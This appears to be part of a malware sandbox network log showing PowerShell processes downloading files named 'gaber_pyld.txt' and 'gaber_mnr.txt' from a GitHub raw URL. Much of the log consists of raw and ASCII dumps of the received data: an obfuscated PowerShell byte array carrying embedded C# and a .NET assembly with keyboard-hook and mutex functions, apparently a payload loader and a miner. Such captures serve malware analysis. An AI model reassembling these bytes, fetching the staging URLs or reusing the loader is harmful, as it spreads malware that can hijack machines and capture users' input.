2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49764	185.199.110.133	443	7220	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:58 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:58 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3E58:16D6:EF199A:10A43C8:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740070-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507979.937717,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 08a534749a4136d2f9996f5c77604a1b6de3975a Expires: Mon, 16 Sep 2024 17:37:58 GMT Source-Age: 0
2024-09-16 17:32:58 UTC	16384	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:32:59 UTC	16384	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 37 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 30 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 36 41 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 Data Ascii: 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x22, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x71, 0x00, 0x51, 0x00, 0x51, 0x00, 0x33, 0x00, 0x30, 0x00, 0x32, 0x00, 0x33, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x66, 0x00, 0x6F, 0x
2024-09-16 17:32:59 UTC	16384	IN	Data Raw: 32 32 31 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 30 2c 30 2c 34 32 2c 30 2c 30 2c 30 2c 31 2c 31 36 2c 30 2c 30 2c 30 2c 30 2c 36 38 2c 30 2c 38 35 2c 31 35 33 2c 30 2c 31 35 2c 36 38 2c 30 2c 30 2c 31 2c 32 37 2c 34 38 2c 34 2c 30 2c 37 30 2c 31 2c 30 2c 30 2c 31 34 2c 30 2c 30 2c 31 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 35 36 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 31 30 2c 30 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c Data Ascii: 221,0,0,0,0,254,12,0,0,42,0,0,0,1,16,0,0,0,0,68,0,85,153,0,15,68,0,0,1,27,48,4,0,70,1,0,0,14,0,0,17,32,0,0,0,0,254,14,4,0,56,49,0,0,0,0,254,12,4,0,32,0,0,0,0,254,1,57,10,0,0,0,0,32,1,0,0,0,254,14,4,0,0,254,12,4,0,32,1,0,0,0,254,1,57,5,0,0,0,56,5,0,0,0,56,
2024-09-16 17:32:59 UTC	16384	IN	Data Raw: 2c 30 2c 31 34 32 2c 31 30 35 2c 34 30 2c 31 36 34 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 32 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 32 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 31 31 34 2c 35 30 2c 36 2c 30 2c 31 31 32 2c 32 35 34 2c 31 34 2c 35 2c 30 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 33 37 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 33 32 2c 34 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 32 35 34 2c 31 34 Data Ascii: ,0,142,105,40,164,0,0,10,254,14,2,0,254,12,1,0,254,14,3,0,20,254,14,4,0,114,50,6,0,112,254,14,5,0,32,3,0,0,0,141,1,0,0,1,37,32,0,0,0,0,254,12,2,0,40,70,0,0,10,162,37,32,1,0,0,0,32,0,0,0,0,140,105,0,0,1,162,37,32,2,0,0,0,32,4,0,0,0,140,105,0,0,1,162,254,14
2024-09-16 17:32:59 UTC	16384	IN	Data Raw: 2c 35 2c 30 2c 32 30 2c 31 31 34 2c 37 37 2c 31 32 2c 30 2c 31 31 32 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 35 34 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 35 34 2c 34 30 2c 35 32 2c 30 2c 30 2c 31 30 2c 34 30 2c 35 36 2c 30 2c 30 2c 36 2c 31 36 32 2c 31 36 32 2c 32 30 2c 32 30 2c 32 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 34 30 2c 31 31 37 2c 30 2c 30 2c 31 30 2c 33 38 2c 32 32 31 2c 35 35 2c 33 2c 30 2c 30 2c Data Ascii: ,5,0,20,114,77,12,0,112,32,2,0,0,0,141,1,0,0,1,37,32,1,0,0,0,32,2,0,0,0,141,1,0,0,1,37,32,0,0,0,0,126,48,0,0,4,32,2,0,0,0,154,162,37,32,1,0,0,0,126,48,0,0,4,32,3,0,0,0,154,40,52,0,0,10,40,56,0,0,6,162,162,20,20,20,32,1,0,0,0,40,117,0,0,10,38,221,55,3,0,0,
2024-09-16 17:32:59 UTC	16384	IN	Data Raw: 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 32 34 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 31 30 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 34 30 2c 37 38 2c 30 2c 30 2c 31 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 37 2c 34 32 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 33 2c 30 2c 32 30 2c 31 31 34 2c 31 32 2c 31 35 2c 30 2c 31 31 32 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 32 30 2c 32 30 2c 32 30 2c 34 30 2c 31 36 35 2c 30 2c 30 2c 31 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 35 36 2c 33 37 2c 30 2c 30 Data Ascii: ,0,254,12,1,0,40,21,1,0,10,58,24,0,0,0,254,12,2,0,40,21,1,0,10,58,10,0,0,0,32,0,0,0,0,56,5,0,0,0,32,1,0,0,0,140,78,0,0,1,40,21,1,0,10,57,42,0,0,0,254,12,3,0,20,114,12,15,0,112,32,0,0,0,0,141,1,0,0,1,20,20,20,40,165,0,0,10,40,70,0,0,10,254,14,3,0,56,37,0,0
2024-09-16 17:32:59 UTC	16384	IN	Data Raw: 31 2c 31 36 39 2c 32 2c 32 32 35 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 33 33 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 31 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 39 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 39 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 37 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 35 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 33 33 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 39 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 35 37 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 36 35 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 37 33 2c 31 2c 38 31 2c 32 31 2c 31 32 32 2c 33 2c 38 39 2c 31 2c 38 31 2c 32 31 Data Ascii: 1,169,2,225,0,81,21,184,2,233,0,81,21,184,2,241,0,81,21,184,2,249,0,81,21,184,2,1,1,81,21,184,2,9,1,81,21,184,2,17,1,81,21,184,2,25,1,81,21,184,2,33,1,81,21,184,2,41,1,81,21,184,2,49,1,81,21,34,0,57,1,81,21,34,0,65,1,81,21,34,0,73,1,81,21,122,3,89,1,81,21
2024-09-16 17:32:59 UTC	16384	IN	Data Raw: 2c 31 31 36 2c 39 37 2c 31 31 30 2c 31 30 30 2c 39 37 2c 31 31 34 2c 31 30 30 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 37 32 2c 31 30 35 2c 31 30 30 2c 31 30 31 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 37 38 2c 39 37 2c 31 30 39 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 36 35 2c 31 31 35 2c 31 31 35 2c 31 30 31 2c 31 30 39 2c 39 38 2c 31 30 38 2c 31 32 31 2c 38 34 2c 31 31 34 2c 39 37 2c 31 30 30 2c 31 30 31 2c 31 30 39 2c 39 37 2c 31 31 34 2c 31 30 37 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 Data Ascii: ,116,97,110,100,97,114,100,77,111,100,117,108,101,65,116,116,114,105,98,117,116,101,0,72,105,100,101,77,111,100,117,108,101,78,97,109,101,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,84,114,97,100,101,109,97,114,107,65,116,116,114,105
2024-09-16 17:32:59 UTC	16384	IN	Data Raw: 2c 30 2c 38 33 2c 31 30 31 2c 31 31 36 2c 38 37 2c 31 30 35 2c 31 31 30 2c 31 30 30 2c 31 31 31 2c 31 31 39 2c 31 31 35 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 39 37 2c 31 30 38 2c 31 30 38 2c 37 38 2c 31 30 31 2c 31 32 30 2c 31 31 36 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 31 30 38 2c 31 31 31 2c 31 31 35 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 31 34 2c 31 30 31 2c 39 37 2c 31 31 36 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 39 35 2c 39 37 2c 31 31 32 2c 31 31 32 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 30 34 2c 31 30 31 2c 39 39 2c 31 30 37 2c 37 Data Ascii: ,0,83,101,116,87,105,110,100,111,119,115,72,111,111,107,69,120,0,67,97,108,108,78,101,120,116,72,111,111,107,69,120,0,67,108,111,115,101,77,117,116,101,120,0,67,114,101,97,116,101,77,117,116,101,120,0,95,97,112,112,77,117,116,101,120,0,67,104,101,99,107,7
2024-09-16 17:32:59 UTC	11837	IN	Data Raw: 2c 31 38 2c 31 32 38 2c 32 31 33 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 31 37 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 32 31 2c 34 2c 33 32 2c 31 2c 32 38 2c 31 34 2c 35 2c 30 2c 32 2c 32 2c 31 34 2c 31 34 2c 34 2c 33 32 2c 31 2c 32 2c 31 34 2c 33 2c 33 32 2c 30 2c 32 2c 38 2c 37 2c 35 2c 32 39 2c 31 34 2c 38 2c 32 2c 32 2c 32 2c 35 2c 30 2c 32 2c 31 34 2c 31 34 2c 31 34 2c 37 2c 37 2c 33 2c 32 39 2c 35 2c 32 39 2c 35 2c 38 2c 36 2c 33 32 2c 31 2c 32 39 2c 35 2c 32 39 2c 35 2c 31 32 2c 30 2c 35 2c 31 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 38 2c 35 2c 33 32 2c 31 2c 31 2c 32 39 2c 35 2c 36 2c 33 32 2c 31 2c 31 2c 31 37 2c 31 32 39 2c 35 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 39 2c 39 2c 38 2c 33 32 Data Ascii: ,18,128,213,5,32,0,18,128,217,5,32,0,18,128,221,4,32,1,28,14,5,0,2,2,14,14,4,32,1,2,14,3,32,0,2,8,7,5,29,14,8,2,2,2,5,0,2,14,14,14,7,7,3,29,5,29,5,8,6,32,1,29,5,29,5,12,0,5,1,18,128,253,8,18,128,253,8,8,5,32,1,1,29,5,6,32,1,1,17,129,5,5,32,0,18,129,9,8,32

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49765	185.199.110.133	443	4500	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:59 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:59 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 6E0F:35A178:D4081:E7F9A:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:59 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890025-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507979.088047,VS0,VE8 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: e18148660f0b96531a4d3850cda94b451f2bf91f Expires: Mon, 16 Sep 2024 17:37:59 GMT Source-Age: 0
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
